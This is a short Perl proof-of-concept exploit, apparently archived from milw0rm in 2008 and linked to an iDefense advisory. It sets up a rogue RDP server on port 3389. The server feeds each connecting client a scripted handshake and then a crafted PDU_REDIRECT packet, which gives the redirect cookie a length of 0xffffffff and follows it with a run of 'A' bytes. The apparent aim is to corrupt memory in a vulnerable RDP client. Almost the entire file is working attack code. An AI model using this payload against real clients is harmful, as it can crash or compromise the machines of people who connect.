#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);
my $evil = "\x03\x00\x01\x47\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x81\x38" .
"\x01\x00\x10\x00" .
"\xc5\x32" .
"\x04\x75" . # PDU TYPE == 0x4 == PDU_REDIRECT
"\xb7\xda\xf8\x43" .
"\x01\x00\x00\x00" .
"\x01\x00\x00\x00" .
"\xff\xff\xff\xff" . # len of g_redirect_cookie
"\x41" x 64 ; # g_redirect_cookie
while(my $c = $sock->accept())
{
while(<$c>)
{
print $c ONE(), TWO(), THREE(), FOUR(), FIVE(), SIX(), SEVEN(), $evil;
}
}
sub ONE()
{
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00"
}
sub TWO()
{
"\x03\x00\x01\x49\x02\xf0\x80\x7f\x66\x82\x01".
"\x3d\x0a\x01\x00\x02\x01\x00\x30\x1a\x02\x01".
"\x22\x02\x01\x03\x02\x01\x00\x02\x01\x01\x02".
"\x01\x00\x02\x01\x01\x02\x03\x00\xff\xf8\x02".
"\x01\x02\x04\x82\x01\x17\x00\x05\x00\x14\x7c".
"\x00\x01\x2a\x14\x76\x0a\x01\x01\x00\x01\xc0".
"\x00\x4d\x63\x44\x6e\x81\x00\x01\x0c\x08\x00".
"\x04\x00\x08\x00\x03\x0c\x0c\x00\xeb\x03\x01".
"\x00\xec\x03\x00\x00\x02\x0c\xec\x00\x02\x00".
"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\xb8".
"\x00\x00\x00\x29\x60\xbb\x2f\xc4\x4d\x00\x9e".
"\x58\x8a\xb4\x85\x35\x6a\x71\xea\xad\xf9\x3d".
"\x0e\x5e\x8e\x87\x64\x2d\x52\x42\xed\xb2\x91".
"\x3f\xf9\x01\x00\x00\x00\x01\x00\x00\x00\x01".
"\x00\x00\x00\x06\x00\x5c\x00\x52\x53\x41\x31".
"\x48\x00\x00\x00\x00\x02\x00\x00\x3f\x00\x00".
"\x00\x01\x00\x01\x00\xf9\xa3\x35\xb2\x78\x63".
"\x8d\x94\x65\x47\x22\x54\x49\x55\xae\x6f\x74".
"\x69\x73\x6e\xee\x2b\xa5\xd0\x47\xf6\xc0\x89".
"\x2e\xa0\x54\xf5\x12\x87\x75\xb5\x89\xf7\x83".
"\x48\xd9\x54\xeb\xde\x20\x73\xd6\xd8\xf3\xee".
"\x0f\xf7\xc2\xaa\xa4\x79\x0a\x5a\x64\x92\x53".
"\xc4\x75\xd4\x00\x00\x00\x00\x00\x00\x00\x00".
"\x08\x00\x48\x00\xf6\x20\x04\x62\x5b\x2f\x04".
"\xae\x02\x04\x4a\x7e\xcf\x59\x02\x11\xf7\x7f".
"\xab\x74\x95\xce\x01\x4e\xf6\x14\x50\x0b\xd7".
"\x54\x8f\xf0\x92\xd5\x0c\x6f\x42\xd8\x21\x98".
"\x9f\x87\x50\x9a\x33\x6c\xef\x65\x05\x5c\x4a".
"\x93\x51\xc1\x69\x59\x7c\x3d\xf4\x63\xdc\x53".
"\x66\x3b\x00\x00\x00\x00\x00\x00\x00\x00"
}
sub THREE()
{
"\x03\x00\x00\x0b\x02\xf0\x80\x2e\x00\x00\x04"
}
sub FOUR()
{
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xed\x03\xed"
}
sub FIVE()
{
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xeb\x03\xeb"
}
sub SIX()
{
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xec\x03\xec"
}
sub SEVEN()
{
"\x03\x00\x00\x22\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x14\x80\x02\x10\x00\xff\x03\x10\x00\x07\x00\x00\x00\x02\x00\x00\x00\x30\x9a\x00\x00"
}
# milw0rm.com [2008-05-11]